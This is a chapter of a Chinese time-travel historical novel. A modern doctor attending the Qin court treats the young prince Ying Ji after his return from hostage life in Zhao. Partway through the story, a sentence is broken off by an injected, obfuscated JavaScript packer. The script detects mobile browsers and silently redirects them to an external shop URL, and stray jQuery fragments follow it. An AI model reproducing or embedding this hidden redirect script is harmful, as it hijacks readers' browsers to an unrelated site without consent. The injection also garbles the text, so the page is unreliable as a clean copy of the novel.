嬴稷回咸阳那天，下着细密的春雨。
秦越站在章台宫侧廊的檐下，看着雨水从瓦当边缘连成一条线往下淌，在青石板上砸出一圈一圈浅坑。廊外站着两排甲士，执戈而立，甲片上凝着一层水珠，在阴天里泛出沉沉的灰光。
嬴驷站在他前面三步的位置，没有打伞，玄色的衣袍肩头渐渐洇出一片深色的湿痕。秦越从廊柱旁拿了一把油纸伞走过去，撑开，举到嬴驷头顶。
嬴驷没有回头，只微微偏了一下下颌。"寡人不用。"
"大王若淋透了，晚上头疼复发的概率增三成。"秦越没动，"臣不想明天多写一份脉案。"
嬴驷沉默了一息，没有反驳。秦越就这么举着伞站在他身后半步的位置，伞面倾斜着偏向嬴驷那一侧，自己的左肩很快被雨水打湿了一片。
宫门的方向传来车轮碾过湿土的声音。一辆双马驾的黑漆轺车穿过门洞，车身溅满泥点，车帘紧闭，看不出里面的人是什么模样。车停在章台宫前的石阶下，御者跳下来掀开车帘，先探出来的是一双少年的手——手指细长，指节微微凸起，指甲剪得很短，指缝里嵌着洗不净的墨渍。
然后一个瘦高的少年从车里钻了出来。
十四五岁的年纪，面容清秀，眉骨尚未完全长开，但已经有了日后那副"深谋远虑"面相的雏形。他的头发束得齐整，深衣是赵国的款式，衣襟上绣着暗纹——是那几年的质子生涯留下的印记。他下车之后没有立即抬头，先站定了，低头掸了掸肩上的灰，然后抬起眼来。
那双眼睛和他的父王一模一样。琥珀色的，在阴天的光线下像两枚浸过水的蜜蜡。
嬴驷从伞下迈出去，走到石阶边缘站定。他没有开口叫"稷儿"，只是站在那里，看着台阶下那个瘦高的少年一步一步走上来。嬴稷的脚步开始有些迟疑，每走一步都在确认脚下的石阶是否稳固，像一个走了很久夜路的人忽然看见了光，反而不敢快步走近。
最后嬴稷在嬴驷面前三尺处停了下来。他抬起头，目光从嬴驷的眉骨滑到嘴角，在那道松弛的弧线上停了一瞬，然后他躬身行了一个端正的、赵国宫廷学来的大礼。
"儿臣嬴稷，拜见父王。"
嬴驷低头看着他躬下去的脊背。那个脊背太薄了，隔着深衣能看见肩胛骨的轮廓，像一只还没有长满羽毛的雏鸟。嬴驷伸手，扶住嬴稷的肩膀让他直起身来。那只手掌落在少年肩头的时候，秦越看见嬴稷的睫毛轻轻颤了一下。
"回来了。"嬴驷说。
三个字。没有更多的了。但这三个字的语调里有一种秦越从未听过的温软——像一个人在掂量一件失而复得的东西，不敢用力握，怕碎了，又怕握不住。
"儿臣回来了。"嬴稷的声音比同龄人低一些，带着变声期尾端那种沙沙的质感。
嬴驷松开手，侧过身朝秦越的方向微抬了一下下巴："这是秦大夫。寡人跟你提过的。你以后每日卯时到他那里诊一次脉。"
嬴稷这才把目光转向秦越。那双琥珀色的少年眼睛在秦越身上扫了一圈——从那件缝了歪针脚的白大褂，到那双虽然洗过但仍然泛着异样绿色的鞋尖——目光停留的时间比嬴荡短得多，但秦越觉得那一眼的深度不亚于他父王最初打量他时的审视。
"秦大夫。"嬴稷拱手行礼，动作标准得挑不出毛病。
秦越躬身回礼："公子路上辛苦了。臣已备好了安神的汤药，公子用过午膳之后服下，歇半日便好。"
嬴稷点了点头，没有再说话。秦越注意到他垂在身侧的左手小指一直在轻微地痉挛——不是刻意抽动的，是无意识的，像一根被绷了太久的琴弦，松开之后仍然在微微震颤。
当晚，秦越在太医署的小屋里磨墨的时候，嬴稷来了。
没有提前让人通报，没有甲士跟随，只有一个提着灯笼的老内侍把他送到院门口就退了。少年推开门，站在门框里，雨后的夜风从他身后灌进来，带着湿润的泥土味和一丝若有若无的——秦越使劲辨认了一下——赵国的羊膻味。那是质子在异国住了几年之后，衣食住行里渗进去的、洗不掉的味道。
"秦大夫。"嬴稷没有迈步进来，"我能坐一会儿么？"
秦越搁下笔，指了指屋里唯一一把能坐人的矮凳："公子请。"
嬴稷走进来，在矮凳上坐下来。他没有四处打量，只是垂着眼看自己搁在膝上的手。屋里安静了一会儿，铜灯里的火焰烧得很稳，只有夜风偶尔从窗缝里钻进来，把灯苗压得微微伏下去。
"赵国的气候比咸阳干燥。"嬴稷忽然开口，声音很轻，"我在那里这几年，每到春天都会流鼻血。赵国的御医说我是火气大，让我喝金银花水。喝了三年，没有用。"
秦越站起来，走到他面前蹲下来，手指搭上他的右脉。脉象细而偏弦，左寸微浮，右关略弱——是一个长期生活在异地、水土不服加上饮食不调导致的血热内郁之象。跟遗传性的脑血管问题还不搭界，但如果不加干预，长期肝郁化火，迟早会伤及血脉根基。
"公子在赵国，是不是睡得不太安稳？"
嬴稷看了他一眼。那一眼里有一种超乎年龄的平静——不是伪装出来的镇定，是一种在异国他乡独自生活了数年、习惯了把什么都咽下去之后养出来的、皮肉之下的沉静。
"每隔三五日会醒一次。"嬴稷说，"梦见咸阳的城墙。有时候是醒着的时候梦见的，白天坐在书案前看简，忽然恍惚一瞬，觉得自己还在这里。"
秦越松开手，起身去药
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890220|212705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
橱里抓了几味药——丹参、郁金、合欢皮、白芍——用麻布包好递给他。"公子睡前用这包药煮水，泡一刻钟的脚。泡完之后按摩足心涌泉穴五十次，再睡。三日后流鼻血的情况应可止住。至于梦见咸阳——"
他顿了顿，看着少年那双和嬴驷一模一样的眼睛。
"梦见了，说明咸阳也在梦见公子。"
嬴稷握着那包药，低头沉默了一会儿。然后他极轻极轻地说了一声："谢谢。"
他站起来准备离开，走到门口时停了一下，侧过头来，像是斟酌了很久终于决定开口："秦大夫。我父王他……我父王跟你在一起的时候，好像不太一样。"
秦越站在灯下，看着少年门框里的侧影："哪里不一样？"
嬴稷想了想，说："他笑的时候，是先用嘴角，然后才是眼睛。以前是先……先拧眉，再说话，最后才是笑。现在反过来了。"
秦越没有答话。
嬴稷看了他一眼，那目光里有一种少年人特有的、还不懂得如何遮掩的、近乎恳切的探究。像是想问什么，又觉得不该问，最终把话咽了回去。
"我明日卯时来诊脉。"嬴稷说完，提着灯笼走了。他瘦高的背影在夜色里越走越远，灯笼的光在雨中晕成一团模糊的暖黄，像一颗被水洇开的星子。
秦越站在门口望着那个方向，雨丝飘进来落在他的脸上，凉凉的。
他想起大纲里那段还未写到的历史——嬴稷会在位五十六年，活得比所有兄弟都久，成为秦国历史上在位时间最长的君王。而他此刻还只是一个十五岁的、会梦见故乡城墙的少年，一个在赵国受了三年冷眼、学会了把情绪压在最底层的质子的少年。
"你也会长成很厉害的人。"秦越对着那片雨夜轻声说了一句，"但你现在还不用急。"
他关上门，回到灯下，在那卷《秦疾新论》的末尾添了一行新字：
"稷公子，年十五，自赵归秦。脉细弦，左寸微浮，乃长居异地、肝气郁结所致。宜疏肝养血，兼以安神定志。此子禀赋深厚，若调养得宜，可享遐龄——"
他搁下笔，看着那片竹简上湿漉漉的墨迹，忽然觉得这些字太重了。
重到千年之后如果有人把它们从地下挖出来，会读到一个医者在一个少年身上看见了一整个未来的那种、穿越时空的凝视。
他把竹简晾好，吹灭了灯。
黑暗里他听见自己的心跳，沉稳而缓慢，像一口井的水面在深夜里纹丝不动。
窗外，雨还在下。
咸阳城的街巷在春雨中慢慢入睡，章台宫正殿那盏灯火也终于熄了下去。整个宫殿群沉入一片均匀的暗色之中，只有更漏在某个角落里滴答作响，一下，又一下，像时间的心跳。